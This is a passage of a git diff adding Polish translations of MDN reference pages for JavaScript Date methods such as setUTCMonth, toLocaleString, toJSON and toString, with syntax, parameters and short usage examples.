+++ b/files/pl/web/javascript/referencje/obiekty/date/setutcmonth/index.html
@@ -0,0 +1,52 @@
+---
+title: Date.prototype.setUTCMonth()
+slug: Web/JavaScript/Referencje/Obiekty/Date/setUTCMonth
+tags:
+ - Date
+ - JavaScript
+ - Method
+ - Prototype
+translation_of: Web/JavaScript/Reference/Global_Objects/Date/setUTCMonth
+---
+<p>{{JSRef}}</p>
+
+<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2>
+
+<p>Ustawia miesiąc dla określonej daty stosownie do czasu uniwersalnego.</p>
+
+<h2 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h2>
+
+<pre class="syntaxbox"><code><var>dateObj</var>.setUTCMonth(<var>monthValue</var>[, <var>dayValue</var>])</code></pre>
+
+<h3 id="Parametry" name="Parametry">Parametry</h3>
+
+<dl>
+ <dt><code>monthValue</code> </dt>
+ <dd>Liczba całkowita pomiędzy 0 a 11, reprezentująca nazwy miesięcy od stycznia do grudnia.</dd>
+</dl>
+
+<dl>
+ <dt><code>dayValue</code> </dt>
+ <dd>Liczba całkowita od 1 do 31, reprezentująca dzień miesiąca.</dd>
+</dl>
+
+<h2 id="Opis" name="Opis">Opis</h2>
+
+<p>Jeśli nie określisz parametru <code>dayValue</code>, zostanie zwrócona wartość użytej metody {{jsxref("Date.prototype.getUTCDate()", "getUTCDate()")}}.</p>
+
+<p>Jeśli Twój parametr jest określony z poza szeregu, <code>setUTCMonth()</code> próbuje zaktualizować informacje o dacie w obiekcie {{jsxref("Date")}}. Na przykład, jeśli użyjesz wartości 15 dla <code>monthValue</code>, rok wzrośnie o 1 (rok + 1) i 3, które pozostało będzie użyte dla miesiąca.</p>
+
+<h2 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h2>
+
+<h3 id="Przyk.C5.82ad:_Zastosowanie_setUTCMonth" name="Przyk.C5.82ad:_Zastosowanie_setUTCMonth">Przykład: Zastosowanie <code>setUTCMonth()</code></h3>
+
+<pre class="brush: js">var theBigDay = new Date();
+theBigDay.setUTCMonth(11);
+</pre>
+
+<h2 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h2>
+
+<ul>
+ <li>{{jsxref("Date.prototype.getUTCMonth()")}}</li>
+ <li>{{jsxref("Date.prototype.setMonth()")}}</li>
+</ul>
diff --git a/files/pl/web/javascript/referencje/obiekty/date/setutcseconds/index.html b/files/pl/web/javascript/referencje/obiekty/date/setutcseconds/index.html
new file mode 100644
index 0000000000..8e8d003b67
--- /dev/null
+++ b/files/pl/web/javascript/referencje/obiekty/date/setutcseconds/index.html
@@ -0,0 +1,52 @@
+---
+title: Date.prototype.setUTCSeconds()
+slug: Web/JavaScript/Referencje/Obiekty/Date/setUTCSeconds
+tags:
+ - Date
+ - JavaScript
+ - Method
+ - Prototype
+translation_of: Web/JavaScript/Reference/Global_Objects/Date/setUTCSeconds
+---
+<p>{{JSRef}}</p>
+
+<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2>
+
+<p>Ustawia sekundy dla określonej daty stosownie do czasu uniwersalnego.</p>
+
+<h2 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h2>
+
+<pre class="syntaxbox"><code><var>dateObj</var>.setUTCSeconds(<var>secondsValue</var>[, <var>msValue</var>])</code></pre>
+
+<h3 id="Parametry" name="Parametry">Parametry</h3>
+
+<dl>
+ <dt><code>secondsValue</code> </dt>
+ <dd>Liczba całkowita pomiędzy 0 a 59.</dd>
+</dl>
+
+<dl>
+ <dt><code>msValue</code> </dt>
+ <dd>Liczba pomiędzy 0 a 999, reprezentująca milisekundy.</dd>
+</dl>
+
+<h2 id="Opis" name="Opis">Opis</h2>
+
+<p>Jeśli nie określisz parametru <code>msValue</code>, wartość zwracana jest z użytej metody {jsxref("Date.prototype.getUTCMilliseconds()", "getUTCMilliseconds()")}}.</p>
+
+<p>Jeśli Twój parametr jest określony z poza szeregu, <code>setUTCSeconds()</code> próbuje zaktualizować informacje o dacie w obiekcie {{jsxref("Date")}}. Na przykład, jeśli użyjesz wartości 100 dla <code>secondsValue</code>, minuty zawarte w obiekcie {{jsxref("Date")}} będą wzrastać o 1 i wartość 40 będzie użyta dla sekund.</p>
+
+<h2 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h2>
+
+<h3 id="Przyk.C5.82ad:_Zastosowanie_setUTCSeconds" name="Przyk.C5.82ad:_Zastosowanie_setUTCSeconds">Przykład: Zastosowanie <code>setUTCSeconds()</code></h3>
+
+<pre class="brush: js">var theBigDay = new Date();
+theBigDay.setUTCSeconds(20);
+</pre>
+
+<h2 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h2>
+
+<ul>
+ <li>{{jsxref("Date.prototype.getUTCSeconds()")}}</li>
+ <li>{{jsxref("Date.prototype.setSeconds()")}}</li>
+</ul>
diff --git a/files/pl/web/javascript/referencje/obiekty/date/setyear/index.html b/files/pl/web/javascript/referencje/obiekty/date/setyear/index.html
new file mode 100644
index 0000000000..ac89b296c7
--- /dev/null
+++ b/files/pl/web/javascript/referencje/obiekty/date/setyear/index.html
@@ -0,0 +1,52 @@
+---
+title: Date.prototype.setYear()
+slug: Web/JavaScript/Referencje/Obiekty/Date/setYear
+tags:
+ - Date
+ - JavaScript
+ - Method
+ - Prototype
+translation_of: Web/JavaScript/Reference/Global_Objects/Date/setYear
+---
+<p>{{jSRef}}{{ Deprecated_header() }}</p>
+
+<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2>
+
+<p>Ustawia rok dla określonej daty stosownie do czasu lokalnego. Aby móc korzystać z roczników przed i po roku 2000, powinieneś użyć metody {{jsxref("Date.prototype.setFullYear()", "setFullYear()")}} zawierającej <code>setYear()</code>, która rok potrafi określić w pełni.</p>
+
+<h2 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h2>
+
+<pre class="syntaxbox"><code><var>dateObj</var>.setYear(<var>yearValue</var>)</code></pre>
+
+<h3 id="Parametry" name="Parametry">Parametry</h3>
+
+<dl>
+ <dt><code>yearValue</code> </dt>
+ <dd>Liczba całkowita.</dd>
+</dl>
+
+<h2 id="Opis" name="Opis">Opis</h2>
+
+<p>Jeśli <code>yearValue</code> jest liczbą pomiędzy 0 a 99 (inclusive), to rok dla <code>dateObjectName</code> jest ustawiany - 1900 + <code>yearValue</code>. W innym przypadku, rok dla <code>dateObjectName</code> jest ustawiany w postaci wyświetlenia <code>yearValue</code>.</p>
+
+<h2 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h2>
+
+<h3 id="Przyk.C5.82ad:_Zastosowanie_setYear" name="Przyk.C5.82ad:_Zastosowanie_setYear">Przykład: Zastosowanie <code>setYear()</code></h3>
+
+<p>Dwie pierwsze linie ustawiają rok w dacie na 1996. Trzecia ustawia rok na 2000.</p>
+
+<pre class="brush: js">var theBigDay = new Date();
+
+theBigDay.setYear(96)
+theBigDay.setYear(1996)
+theBigDay.setYear(2000)
+</pre>
+
+<h2 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h2>
+
+<ul>
+ <li>{{jsxref("Date.prototype.getFullYear()")}}</li>
+ <li>{{jsxref("Date.prototype.getUTCFullYear()")}}</li>
+ <li>{{jsxref("Date.prototype.setFullYear()")}}</li>
+ <li>{{jsxref("Date.prototype.setUTCFullYear()")}}</li>
+</ul>
diff --git a/files/pl/web/javascript/referencje/obiekty/date/togmtstring/index.html b/files/pl/web/javascript/referencje/obiekty/date/togmtstring/index.html
new file mode 100644
index 0000000000..2b4c296723
--- /dev/null
+++ b/files/pl/web/javascript/referencje/obiekty/date/togmtstring/index.html
@@ -0,0 +1,44 @@
+---
+title: Date.prototype.toGMTString()
+slug: Web/JavaScript/Referencje/Obiekty/Date/toGMTString
+tags:
+ - Dokumentacja_JavaScript
+ - Dokumentacje
+ - JavaScript
+ - Wszystkie_kategorie
+translation_of: Web/JavaScript/Reference/Global_Objects/Date/toGMTString
+---
+<p>{{JSRef}}{{ Deprecated_header() }}</p>
+
+<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2>
+
+<p>Konwertuje datę na łańcuch znaków używając konwersji czasu GMT. Dokładny format zwracanych wartości <code>toGMTString()</code> różni się w zależności platformy.</p>
+
+<div class="note">
+<p>Metoda <code>toGMTString</code> jest nie długo używana i została ona zastąpiona metodą {{jsxref("Date.prototype.toUTCString()", "toUTCString()")}}. Powinieneś używać {{jsxref("Date.prototype.toUTCString()", "toUTCString()")}} zamiast <code>toGMTSTring</code>().</p>
+</div>
+
+<h2 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h2>
+
+<pre class="syntaxbox"><code><var>dateObj</var>.toGMTString()</code></pre>
+
+<h2 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h2>
+
+<h3 id="Przyk.C5.82ad:_Zastosowanie_toGMTString" name="Przyk.C5.82ad:_Zastosowanie_toGMTString">Przykład: Zastosowanie <code>toGMTString()</code></h3>
+
+<p>W następującym przykładzie jest dzisiejsza data obiektu <code>Date</code>:</p>
+
+<pre class="brush: js">var today = new Date();
+var str = today.toGMTString();
+
+console.log(str); // Mon, 18 Dec 1995 17:28:35 GMT</pre>
+
+<p>W tym przykładzie metoda <code>toGMTString</code> konwertuje datę w czasie GMT (UTC) używanego przez system operacyjny w odpowiedniej strefie czasowej i zwraca wartość łańcucha znaków, która jest podobna do następującej formy. Format jest w pełni zależny od platformy.</p>
+
+<h2 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h2>
+
+<ul>
+ <li>{{jsxref("Date.prototype.toLocaleDateString()")}}</li>
+ <li>{{jsxref("Date.prototype.toTimeString()")}}</li>
+ <li>{{jsxref("Date.prototype.toUTCString()")}}</li>
+</ul>
diff --git a/files/pl/web/javascript/referencje/obiekty/date/tojson/index.html b/files/pl/web/javascript/referencje/obiekty/date/tojson/index.html
new file mode 100644
index 0000000000..2509e99319
--- /dev/null
+++ b/files/pl/web/javascript/referencje/obiekty/date/tojson/index.html
@@ -0,0 +1,70 @@
+---
+title: Date.prototype.toJSON()
+slug: Web/JavaScript/Referencje/Obiekty/Date/toJSON
+translation_of: Web/JavaScript/Reference/Global_Objects/Date/toJSON
+---
+<div>{{JSRef}}</div>
+
+<div>Zwraca objekt {{jsxref("Date")}} w postaci tekstu.</div>
+
+
+
+<h2 id="Składnia">Składnia</h2>
+
+<pre class="syntaxbox"><code><var>dateObj</var>.toJSON()</code>
+</pre>
+
+<h2 id="Opis">Opis</h2>
+
+<p><code>toJSON()</code> zwraca ciąg znaków (using {{jsxref("Date.prototype.toISOString()", "toISOString()")}}) reprezentujący wartość obiektu {{jsxref("Date")}}.</p>
+
+<h2 id="Przykłady">Przykłady</h2>
+
+<h3 id="Użycie_toJSON()">Użycie <code>toJSON()</code></h3>
+
+<pre class="brush:js">var jsonDate = (new Date()).toJSON();
+var backToDate = new Date(jsonDate);
+
+console.log(jsonDate); //2015-10-26T07:46:36.611Z
+</pre>
+
+<h2 id="Specyfikacje">Specyfikacje</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES5.1', '#sec-15.9.5.44', 'Date.prototype.toJSON')}}</td>
+ <td>{{Spec2('ES5.1')}}</td>
+ <td>Początkowa definicja zaimplementowana w JavaScript 1.8.5.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES6', '#sec-date.prototype.tojson', 'Date.prototype.toJSON')}}</td>
+ <td>{{Spec2('ES6')}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-date.prototype.tojson', 'Date.prototype.toJSON')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td> </td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Kompatybilność">Kompatybilność</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("javascript.builtins.Date.toJSON")}}</p>
+
+<h2 id="Zobacz_także">Zobacz także</h2>
+
+<ul>
+ <li>{{jsxref("Date.prototype.toLocaleDateString()")}}</li>
+ <li>{{jsxref("Date.prototype.toTimeString()")}}</li>
+ <li>{{jsxref("Date.prototype.toUTCString()")}}</li>
+</ul>
diff --git a/files/pl/web/javascript/referencje/obiekty/date/tolocaledatestring/index.html b/files/pl/web/javascript/referencje/obiekty/date/tolocaledatestring/index.html
new file mode 100644
index 0000000000..c3b4b44198
--- /dev/null
+++ b/files/pl/web/javascript/referencje/obiekty/date/tolocaledatestring/index.html
@@ -0,0 +1,55 @@
+---
+title: Date.prototype.toLocaleDateString()
+slug: Web/JavaScript/Referencje/Obiekty/Date/toLocaleDateString
+tags:
+ - Dokumentacja_JavaScript
+ - Dokumentacje
+ - JavaScript
+ - Wszystkie_kategorie
+translation_of: Web/JavaScript/Reference/Global_Objects/Date/toLocaleDateString
+---
+<p>{{JSRef}}</p>
+
+<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2>
+
+<p>Zwraca "date", porcje daty jako łańcuch znaków, używając aktualnych lokalnych konwersji.</p>
+
+<p>Metoda <code>toLocaleDateString</code> polega na znalezieniu formatu daty w systemie operacyjnym. Konwertuje datę do łańcucha znakowego używając konwencji formatowania systemu operacyjnego, gdzie skrypt jest uruchomiony. Na przykład, w USA, miesiąc pojawia się przed dniem (04/15/98), gdzie w Niemczech data wyświetla miesiąc po dniu (15.04.98). Jeśli system operacyjny nie używa, nie spełnia roku 2000 i nie używa pełnego roku dla lat przed 1900 lub po 2000, <code>toLocaleDateString</code> zwraca łańcuch znakowy, który nie jest uległy wobec roku 2000. <code>toLocaleDateString</code> postępuje podobnie do <code>toString</code>, kiedy konwertuje rok, który system operacyjny ma w niewłaściwym formacie.</p>
+
+<p>Metody takie jak <code><a href="pl/Dokumentacja_j%c4%99zyka_JavaScript_1.5/Obiekty/Date/getHours">getHours</a></code>, <code><a href="pl/Dokumentacja_j%c4%99zyka_JavaScript_1.5/Obiekty/Date/getMinutes">getMinutes</a></code> i <code><a href="pl/Dokumentacja_j%c4%99zyka_JavaScript_1.5/Obiekty/Date/getSeconds">getSeconds</a></code> dają więcej przenośnych rezultatów niż <code>toLocaleDateString</code>.</p>
+
+<h2 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h2>
+
+<pre class="syntaxbox"><code><var>dateObj</var>.toLocaleDateString([<var>locales</var> [, <var>options</var>]])</code></pre>
+
+<h3 id="Parametry" name="Parametry">Parametry</h3>
+
+<p>Check the {{anch("Browser compatibility")}} section to see which browsers support the <code>locales</code> and <code>options</code> arguments, and the <a href="https://developer.mozilla.org/pl/docs/Web/JavaScript/Referencje/Obiekty/Date/toLocaleDateString$edit#Example:_Checking_for_support_for_locales_and_options_arguments">Example: Checking for support for <code>locales</code> and <code>options</code> arguments</a> for feature detection.</p>
+
+<div>{{page('/en-US/docs/Web/JavaScript/Reference/Global_Objects/DateTimeFormat', 'Parameters')}}</div>
+
+<p>The default value for each date-time component property is {{jsxref("Global_Objects/undefined", "undefined")}}, but if the <code>weekday</code>, <code>year</code>, <code>month</code>, <code>day</code> properties are all {{jsxref("Global_Objects/undefined", "undefined")}}, then <code>year</code>, <code>month</code>, and <code>day</code> are assumed to be <code>"numeric"</code>.</p>
+
+<h2 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h2>
+
+<h3 id="Przyk.C5.82ad:_Zastosowanie_toLocaleDateString" name="Przyk.C5.82ad:_Zastosowanie_toLocaleDateString">Przykład: Zastosowanie <code>toLocaleDateString()</code></h3>
+
+<p>Następujący przykład <code>today</code> jest obiektem <code>Date</code>:</p>
+
+<pre class="brush: js">var today = new Date(95,11,18,17,28,35) //miesiąc jest reprezentowany przez liczby od 0 do 11
+today.toLocaleDateString()
+</pre>
+
+<p>W tym przykładzie, <code>toLocaleDateString</code> zwraca łańcuch znakowy, który jest podobny do poniższej formy. Dokładny format, jaki znajduje się na platformie.</p>
+
+<pre>12/18/95
+</pre>
+
+<h2 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h2>
+
+<ul>
+ <li>{{jsxref("Global_Objects/DateTimeFormat", "Intl.DateTimeFormat")}}</li>
+ <li>{{jsxref("Date.prototype.toLocaleString()")}}</li>
+ <li>{{jsxref("Date.prototype.toLocaleTimeString()")}}</li>
+ <li>{{jsxref("Date.prototype.toString()")}}</li>
+</ul>
diff --git a/files/pl/web/javascript/referencje/obiekty/date/tolocalestring/index.html b/files/pl/web/javascript/referencje/obiekty/date/tolocalestring/index.html
new file mode 100644
index 0000000000..60cb1c2853
--- /dev/null
+++ b/files/pl/web/javascript/referencje/obiekty/date/tolocalestring/index.html
@@ -0,0 +1,51 @@
+---
+title: Date.prototype.toLocaleString()
+slug: Web/JavaScript/Referencje/Obiekty/Date/toLocaleString
+tags:
+ - Date
+ - JavaScript
+ - Method
+ - Prototype
+translation_of: Web/JavaScript/Reference/Global_Objects/Date/toLocaleString
+---
+<p>{{JSRef}}</p>
+
+<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2>
+
+<p>Konwertuje datę na łańcuch znakowy, używając aktualnej lokalnej konwersji.</p>
+
+<p>Metoda <code>toLocaleString</code> polega na znalezieniu formatu daty w systemie operacyjnym. Konwertuje datę do łańcucha znakowego używając konwencji formatowania systemu operacyjnego, gdzie skrypt jest uruchomiony. Na przykład, w USA, miesiąc pojawia się przed dniem (<b>04</b>/15/98), gdzie w Niemczech data wyświetla miesiąc, zaraz po dniu (15.<b>04</b>.98). Jeśli system operacyjny nie używa, nie spełnia roku 2000 i nie używa pełnego roku dla lat przed 1900 lub po 2000, <code>toLocaleString</code> zwraca łańcuch znakowy, który nie jest uległy wobec roku 2000. <code>toLocaleString</code> postępuje podobnie do <code>toString</code>, kiedy konwertuje rok, który system operacyjny ma w niewłaściwym formacie.</p>
+
+<p>Metody, takie jak <code><a href="pl/Dokumentacja_j%c4%99zyka_JavaScript_1.5/Obiekty/Date/getHours">getHours</a></code>, <code><a href="pl/Dokumentacja_j%c4%99zyka_JavaScript_1.5/Obiekty/Date/getMinutes">getMinutes</a></code> i <code><a href="pl/Dokumentacja_j%c4%99zyka_JavaScript_1.5/Obiekty/Date/getSeconds">getSeconds</a></code> dają więcej przenośnych rezultatów niż <code>toLocaleString</code></p>
+
+<h2 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h2>
+
+<pre class="syntaxbox"><code><var>dateObj</var>.toLocaleString([<var>locales</var>[, <var>options</var>]])</code></pre>
+
+<h3 id="Parametry" name="Parametry">Parametry</h3>
+
+<p>Check the <a href="https://developer.mozilla.org/pl/docs/Web/JavaScript/Referencje/Obiekty/Date/toLocaleString$edit#Browser_Compatibility">Browser compatibility</a> section to see which browsers support the <code>locales</code> and <code>options</code> arguments, and the <a href="https://developer.mozilla.org/pl/docs/Web/JavaScript/Referencje/Obiekty/Date/toLocaleString$edit#Example:_Checking_for_support_for_locales_and_options_arguments">Example: Checking for support for <code>locales</code> and <code>options</code> arguments</a> for feature detection.</p>
+
+<div>{{page('/en-US/docs/Web/JavaScript/Reference/Global_Objects/DateTimeFormat', 'Parameters')}}</div>
+
+<p>The default value for each date-time component property is {{jsxref("Global_Objects/undefined", "undefined")}}, but if the <code>weekday</code>, <code>year</code>, <code>month</code>, <code>day</code>, <code>hour</code>, <code>minute</code>, <code>second</code> properties are all {{jsxref("Global_Objects/undefined", "undefined")}}, then <code>year</code>, <code>month</code>, <code>day</code>, <code>hour</code>, <code>minute</code>, and <code>second</code> are assumed to be <code>"numeric"</code>.</p>
+
+<h2 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h2>
+
+<h3 id="Zastosowanie_toLocaleString" name="Zastosowanie_toLocaleString">Zastosowanie <code>toLocaleString()</code></h3>
+
+<p>W następującym przykładzie, obiekt <code>today</code> jest <code>Date</code>:</p>
+
+<pre class="brush: js">var today = new Date(95,11,18,17,28,35); //miesiące są reprezentowane poprzez liczby od 0 do 11
+today.toLocaleString(); // 12/18/95 17:28:35</pre>
+
+<p>W tym przykładzie, <code>toLocaleString</code> zwraca łańcuch znaków, który jest podobny do następującej formy. Dokładnie to taki format, jaki jest w systemie.</p>
+
+<h2 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h2>
+
+<ul>
+ <li>{{jsxref("Global_Objects/DateTimeFormat", "Intl.DateTimeFormat")}}</li>
+ <li>{{jsxref("Date.prototype.toLocaleDateString()")}}</li>
+ <li>{{jsxref("Date.prototype.toLocaleTimeString()")}}</li>
+ <li>{{jsxref("Date.prototype.toString()")}}</li>
+</ul>
diff --git a/files/pl/web/javascript/referencje/obiekty/date/tolocaletimestring/index.html b/files/pl/web/javascript/referencje/obiekty/date/tolocaletimestring/index.html
new file mode 100644
index 0000000000..e41dce512d
--- /dev/null
+++ b/files/pl/web/javascript/referencje/obiekty/date/tolocaletimestring/index.html
@@ -0,0 +1,52 @@
+---
+title: Date.prototype.toLocaleTimeString()
+slug: Web/JavaScript/Referencje/Obiekty/Date/toLocaleTimeString
+tags:
+ - Dokumentacja_JavaScript
+ - Dokumentacje
+ - JavaScript
+ - Wszystkie_kategorie
+translation_of: Web/JavaScript/Reference/Global_Objects/Date/toLocaleTimeString
+---
+<p>{{JSRef}}</p>
+
+<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2>
+
+<p>Zwraca "czas", porcje daty jako łańcuch znaków, używając aktualnych lokalnych konwersji.</p>
+
+<p>Metoda <code>toLocaleTimeString</code> polega na znalezieniu formatu daty w systemie operacyjnym. Konwertuje datę do łańcucha znakowego używając konwencji formatowania systemu operacyjnego, gdzie skrypt jest uruchomiony. Na przykład, w USA, miesiąc pojawia się przed dniem (04/15/98), gdzie w Niemczech data wyświetla miesiąc po dniu (15.04.98). Jeśli system operacyjny nie używa, nie spełnia roku 2000 i nie używa pełnego roku dla lat przed 1900 lub po 2000, <code>toLocaleTimeString</code> zwraca łańcuch znakowy, który nie jest uległy wobec roku 2000. <code>toLocaleTimeString</code> postępuje podobnie do <code>toString</code>, kiedy konwertuje rok, który system operacyjny ma w nie właściwym formacie.</p>
+
+<p>Metody takie jak <code><a href="pl/Dokumentacja_j%c4%99zyka_JavaScript_1.5/Obiekty/Date/getHours">getHours</a></code>, <code><a href="pl/Dokumentacja_j%c4%99zyka_JavaScript_1.5/Obiekty/Date/getMinutes">getMinutes</a></code> i <code><a href="pl/Dokumentacja_j%c4%99zyka_JavaScript_1.5/Obiekty/Date/getSeconds">getSeconds</a></code> dają więcej podobnych rezultatów niż <code>toLocaleTimeString</code>.</p>
+
+<h2 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h2>
+
+<pre class="syntaxbox"><code><var>dateObj</var>.toLocaleTimeString([<var>locales</var>[, <var>options</var>]])</code></pre>
+
+<h3 id="Parametry" name="Parametry">Parametry</h3>
+
+<p>Check the <a href="https://developer.mozilla.org/pl/docs/Web/JavaScript/Referencje/Obiekty/Date/toLocaleTimeString$edit#Browser_Compatibility">Browser compatibility</a> section to see which browsers support the <code>locales</code> and <code>options</code> arguments, and the <a href="https://developer.mozilla.org/pl/docs/Web/JavaScript/Referencje/Obiekty/Date/toLocaleTimeString$edit#Example:_Checking_for_support_for_locales_and_options_arguments">Example: Checking for support for <code>locales</code> and <code>options</code> arguments</a> for feature detection.</p>
+
+<div>{{page('/en-US/docs/Web/JavaScript/Reference/Global_Objects/DateTimeFormat', 'Parameters')}}</div>
+
+<p>The default value for each date-time component property is {{jsxref("Global_Objects/undefined", "undefined")}}, but if the <code>hour</code>, <code>minute</code>, <code>second</code> properties are all {{jsxref("Global_Objects/undefined", "undefined")}}, then <code>hour</code>, <code>minute</code>, and <code>second</code> are assumed to be <code>"numeric"</code>.</p>
+
+<h2 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h2>
+
+<h4 id="Zastosowanie_toLocaleTimeString" name="Zastosowanie_toLocaleTimeString">Zastosowanie <code>toLocaleTimeString()</code></h4>
+
+<p>W następującym przykładzie, <code>today</code> jest obiektem <code>Date</code> object:</p>
+
+<pre class="brush: js">var today = new Date(95,11,18,17,28,35); //miesiące są reprezentowane przez liczby od 0 do 11
+today.toLocaleTimeString(); // 17:28:35</pre>
+
+<p>W tym przykładzie, <code>toLocaleTimeString</code> zwraca wartość łańcucha znakowego, która jest podobna do następującej formy. Dokładny format, jaki znajduje się na platformie.</p>
+
+<h2 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h2>
+
+<ul>
+ <li>{{jsxref("Global_Objects/DateTimeFormat", "Intl.DateTimeFormat")}}</li>
+ <li>{{jsxref("Date.prototype.toLocaleDateString()")}}</li>
+ <li>{{jsxref("Date.prototype.toLocaleString()")}}</li>
+ <li>{{jsxref("Date.prototype.toTimeString()")}}</li>
+ <li>{{jsxref("Date.prototype.toString()")}}</li>
+</ul>
diff --git a/files/pl/web/javascript/referencje/obiekty/date/tosource/index.html b/files/pl/web/javascript/referencje/obiekty/date/tosource/index.html
new file mode 100644
index 0000000000..8c82e39b09
--- /dev/null
+++ b/files/pl/web/javascript/referencje/obiekty/date/tosource/index.html
@@ -0,0 +1,49 @@
+---
+title: Date.prototype.toSource()
+slug: Web/JavaScript/Referencje/Obiekty/Date/toSource
+tags:
+ - Date
+ - JavaScript
+ - Method
+ - Prototype
+translation_of: Web/JavaScript/Reference/Global_Objects/Date/toSource
+---
+<div>{{JSRef}} {{non-standard_header}}</div>
+
+<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2>
+
+<p>Zwraca łańcuch znaków reprezentujący kod źródłowy obiektu.</p>
+
+<h2 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h2>
+
+<pre class="syntaxbox"><code><var>dateObj</var>.toSource()
+Date.toSource()</code></pre>
+
+<h3 id="Parametry" name="Parametry">Parametry</h3>
+
+<p>Brak.</p>
+
+<h3 id="Opis" name="Opis">Opis</h3>
+
+<p>Metoda <code>toSource()</code> zwraca następującą wartość:</p>
+
+<ul>
+ <li>Dla wewnętrznej budowy obiekt {{jsxref("Date")}}, <code>toSource()</code> zwraca następujący łańcuch znaków sygnalizując, który kod źródłowy jest nieosiągalny:</li>
+</ul>
+
+<pre class="brush: js">function Date() {
+ [native code]
+}
+</pre>
+
+<ul>
+ <li>Dla instancji {{jsxref("Date")}}, <code>toSource()</code> zwraca łańcuch znaków reprezentujący kod źródłowy.</li>
+</ul>
+
+<p>Ta metoda jest często nazywana wewnętrzną metodą JavaScript i jest nie wyraźna w kodzie.</p>
+
+<h2 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h2>
+
+<ul>
+ <li>{{jsxref("Object.prototype.toSource()")}}</li>
+</ul>
diff --git a/files/pl/web/javascript/referencje/obiekty/date/tostring/index.html b/files/pl/web/javascript/referencje/obiekty/date/tostring/index.html
new file mode 100644
index 0000000000..7d2ea5d92c
--- /dev/null
+++ b/files/pl/web/javascript/referencje/obiekty/date/tostring/index.html
@@ -0,0 +1,49 @@
+---
+title: Date.prototype.toString()
+slug: Web/JavaScript/Referencje/Obiekty/Date/toString
+tags:
+ - Date
+ - JavaScript
+ - Method
+ - Prototype
+translation_of: Web/JavaScript/Reference/Global_Objects/Date/toString
+---
+<p>{{JSRef}}</p>
+
+<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2>
+
+<p>Zwraca łańcuch znaków, reprezentujący określony obiekt <code>Date</code>.</p>
+
+<h2 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h2>
+
+<pre class="syntaxbox"><code><var>dateObj</var>.toString()</code></pre>
+
+<h3 id="Parametry" name="Parametry">Parametry</h3>
+
+<p>Brak.</p>
+
+<h2 id="Opis" name="Opis">Opis</h2>
+
+<p>Obiekt {{jsxref("Date")}} przesłania metodę <code>toString</code> z obiektu {{jsxref("Object")}}; nie dziedziczy {{jsxref("Object.prototype.toString()")}}. Dla obiektów {{jsxref("Date")}}, metoda <code>toString()</code> zwraca łańcuch znaków, które reprezentują obiekt.</p>
+
+<p>JavaScript wywołuje metodę <code>toString()</code> automatycznie wtedy, gdy data jest reprezentowana jako wartość tekstowa lub kieruje powiązanym łańcuchem znaków.</p>
+
+<h2 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h2>
+
+<h3 id="Przyk.C5.82ad:_Zastosowanie_toString" name="Przyk.C5.82ad:_Zastosowanie_toString">Przykład: Zastosowanie <code>toString()</code></h3>
+
+<p>Następujący przykład przydziela <code>toString</code> wartość obiektu <code>Date</code> do <code>myVar</code>:</p>
+
+<pre class="brush: js">var x = new Date();
+myVar=x.toString(); //przydziela wartość myVar, podobnie do:
+// Mon Sep 28 14:36:22 GMT-0700 (Pacific Daylight Time) 1998
+</pre>
+
+<h2 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h2>
+
+<ul>
+ <li>{{jsxref("Object.prototype.toString()")}}</li>
+ <li>{{jsxref("Date.prototype.toDateString()")}}</li>
+ <li>{{jsxref("Date.prototype.toLocaleString()")}}</li>
+ <li>{{jsxref("Date.prototype.toTimeString()")}}</li>
+</ul>
diff --git a/files/pl/web/javascript/referencje/obiekty/date/toutcstring/index.html b/files/pl/web/javascript/referencje/obiekty/date/toutcstring/index.html
